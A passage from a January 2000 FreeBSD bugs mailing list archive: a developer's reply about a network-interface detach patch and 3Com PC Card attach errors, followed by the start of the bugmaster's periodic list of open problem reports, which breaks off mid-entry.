1.94 on Emacs 20.4 / Mule 4.0 (HANANOEN) X-Prom-Mew: Prom-Mew 1.93.4 (procmail reader for Mew) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000104034655H.shin@nd.net.fujitsu.co.jp> Date: Tue, 04 Jan 2000 03:46:55 +0900 From: Yoshinobu Inoue X-Dispatcher: imput version 990905(IM130) Lines: 35 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I think following additional patch should fix the problem. > > Sorry for taking your time again, but could you please try it? > > I confirmed that in6_control(), which called from if_detach(), > > don't return error after this patch in my environment. > > Yes, this appears to work very well. Lots of power on/off's in random > orders, mixed with physically plug/unplugging the card. Thanks for your confimation. > I got the following error messages: > Jan 2 19:47:44 genius pccardd[46]: ioctl (PIOCSIO): Device not configured > Jan 2 19:47:44 genius pccardd[46]: ioctl (PIOCSIO): Device not configured > Jan 2 19:58:27 genius /kernel: ep0: eeprom failed to come ready. > Jan 2 19:58:28 genius last message repeated 3 times > Jan 2 19:58:28 genius /kernel: ep0: Unit failed to come ready or product ID unknown! (id 0xffff) > Jan 2 19:58:28 genius last message repeated 3 times > Jan 2 19:58:28 genius /kernel: ep0: Unit failed to come ready or product ID unknown! (id 0xffff) > Jan 2 19:58:27 genius pccardd[46]: driver allocation failed for 3Com Corporation(3C589D): Device not configured > Jan 2 19:58:27 genius pccardd[46]: driver allocation failed for 3Com Corporation(3C589D): Device not configured > > None of these were unrecoverable from however. Go ahead an commit it. Here is my information about pccardd ep attach failures. (Just a information and no further speculation on it. I am novice about those things.) I used to put my ep card into my pc's 2nd pcmcia port. And usually there was no failure. After I began to use it on the 1st pcmcia port, I also get several ep0 attach failure from pccardd, sometime. And then again I began to put it into my pc's 2nd pcmcia port, and attach failures seem to stopped. Yoshinobu Inoue To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 11: 0:56 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5437515295 for ; Mon, 3 Jan 2000 11:00:10 -0800 (PST) (envelope-from owner-bugmaster@freebsd.org) Received: (from peter@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id LAA23662 for freebsd-bugs@freebsd.org; Mon, 3 Jan 2000 11:00:04 -0800 (PST) (envelope-from owner-bugmaster@freebsd.org) Date: Mon, 3 Jan 2000 11:00:04 -0800 (PST) Message-Id: <200001031900.LAA23662@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: peter set sender to owner-bugmaster@freebsd.org using -f From: FreeBSD bugmaster To: FreeBSD bugs list Subject: Current problem reports Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Current FreeBSD problem reports The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions including experimental development code and obsolete releases. Bugs can be in one of several states: o - open A problem report has been submitted, no sanity checking performed. a - analyzed The report has been examined by a team member and evaluated. f - feedback The problem has been solved, and the originator has been given a patch or a fix has been committed. The PR remains in this state pending a response from the originator. s - suspended The problem is not being worked on. This is a prime candidate for somebody who is looking for a project to do. If the problem cannot be solved at all, it will be closed, rather than suspended. c - closed A problem report is closed when any changes have been integrated, documented, and tested. Critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [1996/12/20] bin/2258 adrian route add/delete [network] xxx.yyy.zzz.0 o [1997/03/08] kern/2923 panic: vm_fault: fault on nofault entry, o [1997/07/03] kern/4021 peter Local mount of a local NFS exported direc o [1997/07/31] kern/4200 peter NFS: "vm_fault: fault on nofault entry" w o [1997/10/01] kern/4673 Two panics, now crash dumps, always in re o [1997/11/24] bin/5139 portmap does not find interfaces correctl f [1997/12/21] kern/5355 Fix for NULLFS problems o [1998/02/03] kern/5641 peter running processes at the IDLE priority (i o [1998/02/10] kern/5703 CDROM Media Error triggers complete syste o [1998/03/23] bin/6121 peter gethostbyname(3) no longer returns NO_DAT s [1998/05/13] kern/6630 julian [PATCH] Fix for Cyrix I8254 bug o [1998/07/12] kern/7264 gibbs Buslogic BT 950 scsi card not detected o [1998/08/15] kern/7622 Kernel panic with Fatal trap 18. o [1998/09/08] i386/7859 luigi fatal trap 12 in midi_synth_input f [1998/09/14] kern/7927 n_hibma Fatal trap 12: page fault while in kernel o [1998/09/28] kern/8074 se CAM rescan operation fatal o [1998/10/03] gnu/8138 obrien gcc -pipe xxx.s hangs f [1998/10/06] i386/8179 Install failure with motherbord using SIS f [1998/10/08] i386/8214 n_hibma Install 3.0-19981006-BETA fails a [1998/11/08] ports/8609 nectar eklogin service (kerberos klogind) fails f [1998/11/12] i386/8673 bug in vm_page_alloc_contig() o [1998/11/24] bin/8829 bug in innetgr (was: Fix port: security/s f [1998/11/25] kern/8861 n_hibma under heavy (multi interface) traffic ep0 f [1998/12/09] kern/9036 Boot 3.0-Release hangs with BT-445S after a [1999/01/05] kern/9334 n_hibma cp fails for 2048 Bytes/sector media o [1999/01/27] kern/9742 tx driver for smc autodetects fine, but n o [1999/02/19] kern/10166 panic during heavy sio i/o;no coproc; ves o [1999/02/20] kern/10172 panic: cannot allocate pipe - out of kvm o [1999/02/23] kern/10224 panic: pipeinit: cannot allocate pipe -- s [1999/02/26] kern/10281 Crash of 3.1-STABLE system due to scsi er o [1999/02/26] i386/10282 PCMCIA problems in 3.1-RELEASE? o [1999/03/01] kern/10332 gibbs System freezes during certain SCSI activi o [1999/03/01] bin/10344 fenner Core dump in gethostbyaddr for 199.93.70. o [1999/03/05] kern/10397 3.1R page fault while in kernel mode, fro o [1999/03/07] misc/10473 Incorrect aout compat libraries in XF8633 o [1999/03/09] kern/10507 Process hangs in state VM pgd o [1999/03/09] misc/10509 Cvs can hang system when used with pserve o [1999/03/09] kern/10520 can't exec files under nullfs o [1999/03/11] kern/10542 page fault while in kernel mode, not kern o [1999/03/11] kern/10545 When a fork/exec stress test is run, the o [1999/03/12] misc/10566 obrien patch dhcpc problem on /etc/pccard_ether o [1999/03/17] kern/10636 ipfw problems o [1999/03/19] i386/10683 I have a buslogic BT-948 FW controller. W o [1999/03/20] i386/10690 Installation freezes after device selecti f [1999/03/20] kern/10701 ppbus printing problems o [1999/03/22] ports/10725 stb Wrong Cyrus IMAP deliver group o [1999/03/23] bin/10744 call to login() from aout/libutil.so.2.2 o [1999/03/27] kern/10828 3.1-STABLE freezes when writing to floppy o [1999/03/29] kern/10866 ahc2740 panic o [1999/03/30] kern/10872 Panic in sorecieve() due to NULL mbuf poi o [1999/04/05] kern/10959 3.1-STABLE crashes due to a floppy mount o [1999/04/05] ports/10965 obrien lcc-3.6 unable to compile anything o [1999/04/13] kern/11112 Amanda on FreeBSD can wipe the _next_ tap o [1999/04/16] kern/11180 boot of fresh bsd3.1 hangs o [1999/04/17] kern/11196 n_hibma kernel mode page fault o [1999/04/19] kern/11226 Invalid files on disk after fsync o [1999/04/20] kern/11238 Synchronous PPP not functional in leased o [1999/04/20] kern/11241 Install fails after SCSI probe o [1999/04/22] i386/11278 FreeBSD Version 3.1 reboots repeatedly (c o [1999/04/23] i386/11298 Enabling IDE DMA on Opti Viper-M crashes o [1999/04/26] kern/11330 page fault in generic_bzero o [1999/04/26] conf/11343 worm; problems with installation and boot o [1999/04/26] i386/11349 Error Mounting /dev/wd0s1 on dist during o [1999/04/27] kern/11351 system reboot for error with popper and d o [1999/05/01] kern/11434 can't boot from wd0s2a o [1999/05/04] i386/11488 Error while starting FreeBSD o [1999/05/10] kern/11629 File descriptor table sharing is broken o [1999/05/12] kern/11680 server freezes, all processes stuck in "i o [1999/05/13] i386/11681 gibbs Adaptec 2940 UW SCSI Controller BIOS 1.34 o [1999/05/14] kern/11707 ncr isn't recognized in 3.1-19990512-STAB f [1999/05/17] bin/11744 perllib fails to build o [1999/05/24] kern/11869 wpaul Network hangging due to xl0: tx underrun o [1999/05/31] kern/11966 TCP copies send and receive socket buffer o [1999/06/02] kern/11988 recvmsg with a cmsghdr but no iovec is br o [1999/06/02] kern/11993 panic: getnewbuf: inconsistent EMPTY queu f [1999/06/05] kern/12041 n_hibma Crashes on startup if Zip drive is switch o [1999/06/06] conf/12050 No /sbin/init on fixit flop o [1999/06/07] kern/12072 vm_fault happened in binary file transfer o [1999/06/09] kern/12106 error 6: panic: cannot mount root o [1999/06/10] kern/12127 persistent crash on idle SMP system o [1999/06/15] kern/12233 Fvwm2 causes FreeBSD-current to hang or r o [1999/06/16] kern/12248 CRON in malloc(): warning: pointer to wr o [1999/06/18] i386/12286 Segmentation violation when invoking JNI s [1999/06/23] kern/12367 Writing files larger than floppy capacity o [1999/06/25] misc/12390 Installation hangs during extraction o [1999/06/25] kern/12395 gibbs Buslogic SCSI cards (BT948) time out unde o [1999/06/30] kern/12466 Fast system hangs under high FS load o [1999/07/05] kern/12521 lmbench-1.1's context switching test hang o [1999/07/12] misc/12607 System crashes after boot, portmap endles o [1999/07/13] alpha/12623 alpha Certain valid numeric strings cause a SIG f [1999/07/20] misc/12720 gdbm (And possibly other libraries in /us o [1999/07/21] kern/12730 poll() causes indeterministic program han o [1999/07/21] misc/12743 Cannot boot the 3.2 floppies o [1999/08/02] misc/12923 Installation fails on HP Net Server o [1999/08/04] kern/12980 NetGear Dec 21140AF Ethernet Card unrecog o [1999/08/06] bin/12998 des still inetd junk pointer too low to make o [1999/08/10] i386/13059 imp Install aborts with panic:aha0: Invalid C o [1999/08/11] kern/13075 signal is not posted for async I/O on raw a [1999/08/20] kern/13270 dillon NFS hangs if written through self-mount o [1999/08/23] alpha/13338 alpha panic: pmap_remove_all: pv_table for 162b o [1999/08/24] kern/13352 No support for Promise Ultra/66 o [1999/08/30] misc/13474 Maximum Number of IPs Permitted in the .. o [1999/09/07] bin/13615 awk corrupts the memory arena when OFMT i o [1999/09/09] alpha/13653 alpha panic: pmap_remove_all: pv_table for 90b6 o [1999/09/12] kern/13709 panic: sched_sync: fsync failed o [1999/09/17] i386/13797 SMP/NFS panics on 3.3-RC o [1999/09/18] i386/13802 freebsd 3.3 fails to boot with irq proble o [1999/09/19] i386/13817 system reboot o [1999/09/19] kern/13825 tx0 "holds" packets for long periods, eve o [1999/09/19] i386/13844 keyboard locks up when I page through a m f [1999/09/20] i386/13849 grog dump on vinum r5 freezes system o [1999/09/22] i386/13892 Kern.flp does not boot on Compaq Presario o [1999/09/24] i386/13933 nfs server panics in tulip_rx_intr() o [1999/09/24] kern/13940 Panic with dd on block/"cooked" devices u o [1999/09/24] kern/13944 ATAPI cd-rom not boot to install, nor de o [1999/09/27] misc/13995 Full duplex mode doesn't work right with o [1999/09/28] kern/14028 ATAPI cd-rom not boot to install and can' o [1999/09/28] i386/14030 imp aha0 probe fails 3.3.0-RELEASE install wi o [1999/10/05] kern/14141 3.3-RELEASE crashing often o [1999/10/05] ports/14154 obrien xwpe is not completely compiled o [1999/10/06] kern/14162 sudden reboot problem ( maybe kernel pani o [1999/10/08] misc/14204 error 6: panic: cannot mout root(2) o [1999/10/10] i386/14256 System doesn't boot under FreeBSD 3.2 o [1999/10/14] kern/14322 mount respects permissions of underlying o [1999/10/15] kern/14347 kdump & truss won't compile because addit o [1999/10/17] i386/14373 Error while booting from floppy disk o [1999/10/24] i386/14492 FreeBSD won't install/work with an Asus S o [1999/10/25] kern/14510 kernel panic while pressing sin_family o [1998/02/01] kern/5618 kernel memory leak in routetbl. o [1998/02/01] kern/5624 dumping to tape causes scsi bus reset o [1998/02/04] kern/5643 NCR 810/815 do not handle rewind correctl o [1998/02/09] bin/5693 hoek groff -mm or groff -mmm ??? o [1998/02/10] i386/5698 des LPIP causes spurious reboots f [1998/02/17] gnu/5767 phantom man leaves partially formatted cat pages o [1998/02/19] kern/5794 Kernel Panic f [1998/02/27] bin/5867 peter pppd or FreeBSD ? o [1998/02/28] kern/5877 sb_cc counts control data as well as data o [1998/03/09] bin/5959 Cannot set up clocal gettys o [1998/03/10] kern/5969 non-root user can reboot/lock up system o [1998/03/11] kern/5975 can't boot freebsd: fatal trap12: page fa o [1998/03/16] kern/6035 The system "sort-of" hangs when playing b o [1998/03/19] kern/6066 lnc driver does not work correctly with A o [1998/03/22] i386/6099 des LPIP to slow machine causes hang o [1998/03/22] kern/6103 panic: ffs_valloc: dup alloc o [1998/03/28] bin/6162 kinit does not default to the current use o [1998/04/03] kern/6203 kernel panics with "blkfree: freeing free o [1998/04/03] conf/6205 NFS/NIS freak out o [1998/04/04] kern/6212 Two bugs with MFS filesystems fixed, one o [1998/04/07] kern/6238 luigi Sound-driver patch for MAD16 (OPTi 928,92 o [1998/04/08] kern/6251 peter ktrace very broken when logging over NFS o [1998/04/08] kern/6252 ide cdrom hangs system when on same bus a o [1998/04/09] kern/6253 Atapi wait for command phase too short. o [1998/04/10] kern/6267 dg panic: pmap_dispose_proc: upage already m o [1998/04/14] kern/6300 System locks up in SMP mode when accessin o [1998/04/18] kern/6344 cy driver is outdated o [1998/04/19] kern/6351 DPT RAID controller stops working under h o [1998/04/20] i386/6368 Stallion Easyio 8 port not detected using o [1998/04/22] bin/6383 csh - when ctrl-d is pressed, file is chm o [1998/05/03] kern/6506 system will not soft reboot f [1998/05/05] kern/6525 Coral-Draw 5 CD crashes 2.2.6-STABLE a [1998/05/06] bin/6536 pppd doesn't restore drainwait for tty o [1998/05/08] bin/6557 /bin/sh is broken o [1998/05/10] bin/6577 /bin/sh environment variables not set in o [1998/05/11] ports/6591 se KDE starts /usr/bin/kzip instead of /usr/ o [1998/05/12] kern/6603 ncr driver hangs under high load o [1998/05/12] bin/6609 gmp.h not installed o [1998/05/17] kern/6670 PANIC on boot with FreeBSD 3.0 (same comp s [1998/05/19] kern/6686 [STABLE] -stable does not support large I o [1998/05/20] kern/6706 mount_msdos+mount_null+mc=panic o [1998/05/25] kern/6751 audio cd play suddenly stops. o [1998/05/25] kern/6755 peter Tulip (if_de) driver buggy in -current s [1998/05/27] misc/6773 [PATCH] tempnam.c security problems s [1998/06/02] bin/6830 make(1) exhibits confusing and non-standa s [1998/06/04] kern/6854 [PATCH] probing brooktree849 capture card o [1998/06/04] misc/6861 [PATCH] netboot error o [1998/06/05] kern/6865 OS crashes when exiting shell with suspen o [1998/06/10] kern/6908 kernel crash from user land o [1998/06/19] bin/6994 The netstat(1) -s generates wrong output f [1998/06/19] i386/6996 Occasional complete lockup of 2.2.5R s [1998/06/22] bin/7019 [security] pwd.db almost always contains s [1998/06/23] bin/7033 Same process notified multiple times o [1998/06/24] kern/7038 shimon Kernel panic caused by DPT driver (Got a s [1998/06/24] bin/7043 the fstat command doesn't know ISOFS, MSD o [1998/06/24] i386/7057 3Com 3C509 locks up, or has >1000ms rtt u s [1998/06/24] bin/7059 sh dumps core on this script o [1998/07/05] ports/7167 ache elm cannot pgp for more than one recipien s [1998/07/05] kern/7169 cannot use accton on a append-only file o [1998/07/05] kern/7178 sos IDE Western Digital hard disk detection e s [1998/07/06] misc/7190 phk "Invalid partition table" after new insta s [1998/07/10] kern/7237 NCR SCSI driver ch0 troubles o [1998/07/11] kern/7245 processes die with signal 6, if machine o o [1998/07/12] i386/7266 yokota PSM detection failure with Linksys consol s [1998/07/14] kern/7281 [STABLE] Multicast kludge does not work c o [1998/07/21] conf/7354 jkh source distribution selection bug when in f [1998/07/22] kern/7367 panic: malloc: wrong bucket o [1998/07/23] ports/7383 imp socks5 + ssh + redirection not working o [1998/07/26] kern/7405 in pmap_changebit, pmap_pte_quick() retur s [1998/07/27] kern/7410 [PATCH] driver for arlan-655 s [1998/07/27] i386/7420 [PATCH] Maximum socket buffer size (SB_MA o [1998/07/28] kern/7424 Machine crashes do not occur very often, o [1998/07/30] bin/7446 jdp Dlopen succeed in particular cases, but i o [1998/08/04] ports/7490 ache `setenv LANG/LC_CTYPE C` makes tcsh unusa s [1998/08/10] kern/7556 sl_compress_init() will fail if called an f [1998/08/10] kern/7557 -current machine running Diablo, lockup, s [1998/08/10] kern/7561 CDROM (wcd) is prone to lock up system/pr s [1998/08/10] kern/7562 Running wine can cause other applications o [1998/08/18] kern/7658 (1) rlogin from some host to the FreeBSD o [1998/08/18] kern/7664 scsiformat reports '0' for all parameters o [1998/08/19] kern/7678 Problems with a 386-16 f [1998/08/20] i386/7698 n_hibma scotty/tkined library error o [1998/08/27] kern/7754 kernel panics if NFS server uses LKM vs. o [1998/08/27] bin/7756 disklabel misbehaving on seriously sick d o [1998/08/27] kern/7764 ps(1) hangs in pfslck/lockrd - All subseq o [1998/08/27] kern/7766 de driver still buggy - random ifc death o [1998/08/27] kern/7767 de driver still buggy - power cycle of de o [1998/09/01] kern/7797 System halted with "panic: pmap_release: o [1998/09/02] i386/7815 probe can't find wdc0 o [1998/09/03] conf/7823 jkh sysinstall will not install XFree o [1998/09/09] bin/7872 [PATCH] mountd(8) can apply flags to wron o [1998/09/09] bin/7876 gethostbyname flags temporary failure as o [1998/09/09] bin/7877 fenner libpcap and tcpdump need updating o [1998/09/10] kern/7880 mount_cd9660 incorrect on multitrack CD-R o [1998/09/11] kern/7902 if_de doesn't properly recognize a "Magic o [1998/09/12] conf/7908 wrong perms on objformat after upgrade o [1998/09/16] kern/7950 Trap 12 while executing wine o [1998/09/16] gnu/7951 The gnu readline library core dumps when o [1998/09/17] bin/7968 If /usr/libexec/yppwupdate DNE, rpc.yppas o [1998/09/22] conf/8031 [patch] /etc/rc looks for /etc/sendmail.c o [1998/09/28] misc/8070 can't get a system with an NCR 810 contro o [1998/09/28] i386/8081 Problem with MULTIPORT driver and Boca BB o [1998/09/29] bin/8085 sendmail startup could be backgrounded o [1998/09/30] gnu/8099 [patch] some bugs in cpio o [1998/10/03] kern/8137 [patch] quotaoff followed by quotaon can o [1998/10/05] kern/8158 sio driver breaks in 2.2.7R in kernels wi o [1998/10/06] kern/8180 open("..",O_RDONLY|O_NONBLOCK) fails o [1998/10/07] bin/8195 ee dumps core on window resize o [1998/10/08] kern/8206 [patch] Unconected UDP socket declined, i o [1998/10/08] kern/8215 Creating 2 root partitions in sysinstall o [1998/10/11] bin/8266 [patch] nfsd should allow just nfs versio o [1998/10/13] kern/8312 Under heavy load, the system panics with o [1998/10/14] bin/8322 Mail doesn't respect REPLYTO in .mailrc o [1998/10/14] kern/8324 failure to deliver SIGIO when fildes mark o [1998/10/19] conf/8379 check_rcpt returns OK for nonexistent add o [1998/10/20] kern/8380 swap_page error: out of swap space o [1998/10/20] i386/8385 2.2.7 hangs while detecting type of COM1' o [1998/10/21] i386/8397 Code using popen compiled on BSDI BSD/OS o [1998/10/22] i386/8414 ibcs2 emulation sets serial baud-rate inc o [1998/10/22] kern/8415 SMP kernel freezes while downloading larg s [1998/10/22] kern/8417 3.0 config(8) doesn't check that root fs o [1998/10/22] i386/8418 sh MAKEDEV all - fails to create hard lin o [1998/10/23] kern/8423 Intel PILA8461 NIC panics 2.2.7 during pr o [1998/10/24] i386/8435 boot.flp does not give shell prompt after o [1998/10/28] misc/8480 odd Korean timedef(LC_TIME) o [1998/10/31] bin/8518 freopen() in append mode followed by ftel o [1998/11/01] kern/8534 insufficient support routines for poll(2) o [1998/11/03] kern/8561 /kernel inode change time changes every r o [1998/11/03] i386/8567 Intel EtherExpress Pro/10 driver (if_ex.c o [1998/11/05] kern/8580 Hanging NFS pagein in nfs_bio.c (2.2.7, w o [1998/11/07] kern/8590 kernel incorrectly recognizing Maxtor 11. o [1998/11/07] kern/8596 panic: page fault while using ping's reco o [1998/11/08] kern/8607 maxprocsperuid setting causes sybase/linu o [1998/11/08] kern/8619 EXT2FS should be in GENERIC kernel o [1998/11/08] ports/8622 markm exmh2 has problems with some date formats s [1998/11/09] misc/8623 [MFC] Time zone for Japan is strange (see o [1998/11/10] bin/8646 Implement rlogind -a option o [1998/11/11] kern/8655 Umount trouble of SCSI removable device o [1998/11/11] kern/8657 nfs client hung in nfs_bwrite/vfs_busy_pa o [1998/11/12] kern/8669 aio_write() and aio_read() do not work AT o [1998/11/14] kern/8683 sos Problems with Atapi in 3.0... o [1998/11/14] bin/8685 sending a SYST by ftp client closes conne o [1998/11/18] bin/8745 wosch adduser permit adding `root' and mail ali o [1998/11/20] kern/8773 Intel AN430TX motherboard ps/2 port not r f [1998/11/20] kern/8778 gibbs Buslogic BT948 in 2 boxes upgraded from S o [1998/11/23] kern/8824 Incorrect driver unit number in IDE BusMa o [1998/11/24] conf/8854 boot.flp does not probe atapi cdrom o [1998/11/24] i386/8855 sos can't mount CD in ATAPI drive after eject o [1998/11/25] bin/8865 syslogd hangs with serial console a [1998/11/28] kern/8875 Patch to allow DMA IDE with generic chips o [1998/11/29] conf/8903 /etc/rc can do NFS mounts before the netw o [1998/12/01] i386/8924 File transfers. Upload is 71Kbs downloa o [1998/12/02] kern/8940 system clock runs extremely slowly (and s o [1998/12/06] kern/8981 this also fixes X crashes and sio silo ov o [1998/12/09] kern/9030 DMPno2 - PCCards are not being recognised o [1998/12/10] i386/9044 #.0 pkgs require libkrb o [1998/12/16] kern/9095 swap detect error o [1998/12/19] kern/9129 Is it miss take ? So, ep deriver dose not o [1998/12/20] i386/9140 NIS "Magic cookie" in master.passwd slays o [1998/12/21] kern/9163 [patch] squid does not join a multicast g o [1998/12/27] bin/9214 kldload(8) error messages are inadequate o [1998/12/30] i386/9244 2.2.8 RELEASE Fixit floppy doesn't work.. o [1998/12/31] bin/9252 [patch] login program "login" don't set K o [1999/01/03] kern/9296 pps driver missing header file o [1999/01/03] kern/9297 pps driver doesn't clear ppbus control po o [1999/01/06] bin/9350 nvi incorrectly reads files with very lon o [1999/01/06] kern/9355 can't select() for writes on a bpf o [1999/01/07] bin/9362 "lpc start queue" doesn't work in 3.0-R & o [1999/01/07] bin/9379 pppd does not go through all interfaces l o [1999/01/08] kern/9391 if_addmulti doesn't check for retifma == o [1999/01/09] kern/9407 "make kernel" yields buggy kernel in cera o [1999/01/09] kern/9408 parameter reversed to a pci_cfgwrite in p o [1999/01/09] kern/9411 System crash on swapping to hole-files o [1999/01/09] kern/9413 profiling does not work with elf kernels o [1999/01/11] bin/9440 obrien amd can't mount filesystems with type:=uf o [1999/01/11] bin/9444 mount_mfs uses lots of swap. o [1999/01/12] bin/9464 fenner Fix for fetch ignoring FTP_PASSIVE_MODE e o [1999/01/13] kern/9478 support for running a script from kldload o [1999/01/14] kern/9487 pcm: mixer's synth and cd devices are swa o [1999/01/14] bin/9495 su doesn't look at login.cnf all the time o [1999/01/15] bin/9516 ftpd doesn't honor invalid shelll in logi o [1999/01/17] kern/9537 ep0 driver : no buffer space available o [1999/01/17] bin/9544 syntax error concerning loading vinum fro o [1999/01/17] kern/9548 UNION fs corrupts data and has undefined o [1999/01/17] kern/9550 The latest -current as of 17 January has o [1999/01/21] kern/9599 SMP hang after reseting CPU 1 o [1999/01/21] kern/9612 grog NFS mounts on dual-homed server may hang o [1999/01/22] docs/9618 hoek many typos in groff_mm(7) o [1999/01/25] kern/9673 ISO CD-ROM Problem o [1999/01/28] i386/9759 Tar process hangs on buggy tapes o [1999/02/01] kern/9862 system crashes writing to msdos jaz disk o [1999/02/02] kern/9883 MGET()(and variants) return NULL with M_W s [1999/02/06] kern/9927 gibbs the ahc driver doesn't correctly grok swi o [1999/02/06] i386/9933 No error reported writing to write-protec o [1999/02/06] kern/9935 vmstat reprots bad AVM values o [1999/02/08] kern/9961 When loading if_ppp_mod.o system crashes, o [1999/02/08] i386/9962 Install Panics in with integer divide fau o [1999/02/08] kern/9974 Large amounts of kernel clock drift with o [1999/02/09] kern/9980 savecore fails with large (2gig+) swap pa o [1999/02/09] bin/9982 inet_addr(3) should be return 32bit uint. o [1999/02/10] misc/10009 jdp dlopen will crash when opening some strip o [1999/02/11] kern/10021 MOUNTING A EXT2FS A AFTER MOUNTING AN MSD o [1999/02/11] bin/10031 ypxfr does not work with Solaris master s o [1999/02/13] kern/10066 problem with a X-Window and syscons drive o [1999/02/14] i386/10089 ATAPI tape driver (wst) doesn't handle En o [1999/02/15] kern/10107 interlock situation with exec_map and a p o [1999/02/18] i386/10150 Compaq fxp0 Does not work on 3.0 or 3.1 b o [1999/02/18] i386/10151 ATAPI CD problem o [1999/02/19] conf/10163 init does not start when /var/msgs is a s o [1999/02/23] bin/10230 -T and -B not implemented on filehandles o [1999/02/25] misc/10259 FTP install hangs for 3.1-RELEASE o [1999/02/25] bin/10264 passwd(1) tryis NIS even with `-l' switch o [1999/02/25] kern/10265 file locking does not work with kernel pt o [1999/02/26] kern/10280 Display Adapters (PCI) probed wrong way - o [1999/02/28] misc/10302 installer o [1999/02/28] bin/10312 ken pciconf -l generates output incompatible o [1999/02/28] kern/10316 le0 goes OACTIVE after some time o [1999/03/01] bin/10341 memory leak in setenv(3) o [1999/03/02] bin/10353 ypserv gets segmentation violation o [1999/03/03] kern/10381 hlfsd/NFS failure -- directory cached bet o [1999/03/05] kern/10411 top, vmstat, iostat show 0% cpu idle & us o [1999/03/06] misc/10418 libpam is built before libradius/libtacpl o [1999/03/07] kern/10466 resume causes crashes if BIOS extmem != R o [1999/03/08] kern/10492 broadcast IP address can be set on interf o [1999/03/09] bin/10510 Remote cvs botches commits on occassion o [1999/03/09] bin/10511 incorrect return value in kvm_read(3) and o [1999/03/11] bin/10553 syslogd suddenly stopped logging o [1999/03/14] kern/10581 Kernel panic while using find on an ext2 o [1999/03/14] kern/10594 EXT2FS mount problems o [1999/03/14] bin/10596 I can't find out where someone is logged o [1999/03/15] misc/10599 [PATCH included]malloc/free breaks in cer o [1999/03/15] kern/10603 dcs Random system panics o [1999/03/15] kern/10607 Fast forwarding breaks when arp cache exp o [1999/03/16] bin/10615 make installworld DESTDIR=/some/dir o [1999/03/16] i386/10626 RTC BIOS diagnostic error on install o [1999/03/16] bin/10633 obrien [patch] tcpslice timezone problem and upd o [1999/03/17] i386/10646 Bridge code missing from ed0 driver in 3. o [1999/03/19] kern/10671 setlogin(2) return EINVAL for length of n o [1999/03/20] kern/10698 de driver doesn't work with some tulip bo o [1999/03/23] kern/10747 [PATCH] ipfirewall `deny' rules act as `r o [1999/03/24] bin/10774 sio0 doesn't work well, i belive the prob o [1999/03/24] kern/10778 "ipforward_rt" is not cleared when routin o [1999/03/25] bin/10784 `make aout-to-elf-build' died in /usr/src o [1999/03/25] bin/10785 make aout-to-elf-install died in info tar o [1999/03/25] kern/10789 Second config of kernel doesn't overwrite o [1999/03/26] bin/10807 host(1) is broken - multiple options in o o [1999/03/27] bin/10821 des getpwent() fails on NIS clients after dro o [1999/03/29] i386/10862 dcs wd.c STILL cannot recognize correct disk o [1999/03/30] kern/10870 eivind Kernel panic when writing to write-protec o [1999/03/30] misc/10879 Cannot build aout binaries under 3.1-RELE o [1999/03/30] bin/10880 Profiler libraries missing o [1999/04/01] bin/10912 /bin/sh: Fix to prevent infinite loops on o [1999/04/03] i386/10928 su reboots the system after one day uptim o [1999/04/03] i386/10935 PCI cards detected twice o [1999/04/04] ports/10946 se kdm 1.1 does not work correctly - XBINDIR o [1999/04/05] bin/10963 brian date -v dosen't quite work o [1999/04/05] i386/10969 kernel fails to compile with ccs0 o [1999/04/06] i386/10983 lnc NIC driver doesn't work o [1999/04/06] bin/10991 lpd hangs system if printer not ready on o [1999/04/07] kern/11004 Quota Issues on SMP o [1999/04/07] bin/11005 `umount -f' does not work if the NFS-serv o [1999/04/08] misc/11024 getpwnam(3) uses incorrect #define to lim o [1999/04/11] kern/11080 fatal trap 18 while trying to mount inval o [1999/04/11] kern/11084 3.1-R kernel trap 12 with interrupts o [1999/04/13] kern/11115 Sockets die in LAST_ACK and FIN_WAIT_1 st o [1999/04/13] bin/11119 NFS quotas fail to report if alternate fi o [1999/04/14] bin/11137 /bin/ps output loses the values for all p o [1999/04/16] kern/11164 The ie network driver panics during the i o [1999/04/16] bin/11169 warning: pointer to wrong page in cron(8) o [1999/04/18] kern/11199 3.1-RELEASE kernel page fault (trap 12) u o [1999/04/18] i386/11200 AMD PCnet lnc0/lnc1 problem o [1999/04/18] kern/11208 Complete system hang/freeze. No PANIC me o [1999/04/20] bin/11247 fetch doesn't notice FTP error after RETR o [1999/04/21] kern/11255 Fore System ATM Card not working o [1999/04/21] kern/11266 frequent crashes with "Page fault, fatal o [1999/04/22] bin/11283 fetch http-timeout/timestamp bug o [1999/04/23] i386/11291 anic: ffs_alloccg: map corrupted o [1999/04/23] bin/11296 fetch(1) fails to resolve names in http m o [1999/04/26] conf/11336 Broken data sent to printer through devic o [1999/04/28] kern/11366 Filesystem can cause hang/crash in certai o [1999/04/28] conf/11376 NFS mount may be happening too soon in /e o [1999/04/29] bin/11382 generated code using rpcgen with -b optio o [1999/04/29] kern/11385 PCNet/PCI Ethernet adapter works in 3.1-R o [1999/04/29] i386/11395 ghostscript5.50 does not print properly, o [1999/04/30] kern/11405 pwd_mkdb with no tmp space leads to kerne o [1999/05/02] i386/11454 mkdir() and chdir() doesn't check argumen o [1999/05/03] kern/11462 CS network interface driver (for CS89XX b o [1999/05/03] bin/11464 obrien union copies likely broken for alpha egcs o [1999/05/04] kern/11490 yokota VESA+VM86+Splash == unstable system o [1999/05/05] kern/11507 msmith CS89XX (i386/isa/if_cs.c) fails to proper o [1999/05/05] kern/11513 cannot mount CD-ROM: Device not configure o [1999/05/05] misc/11523 3.1-STABLE BRIDGE option does not work o [1999/05/05] misc/11525 [PATCH] Networking patches to increase # o [1999/05/07] gnu/11562 tar verification doesn't work o [1999/05/07] kern/11563 pci_unmap_int doesn't do anything o [1999/05/12] i386/11664 lnc1 NIC fail to work o [1999/05/12] bin/11666 ypserv fails to reply host name resolutio o [1999/05/12] kern/11679 httpd and perl5 processes stuck 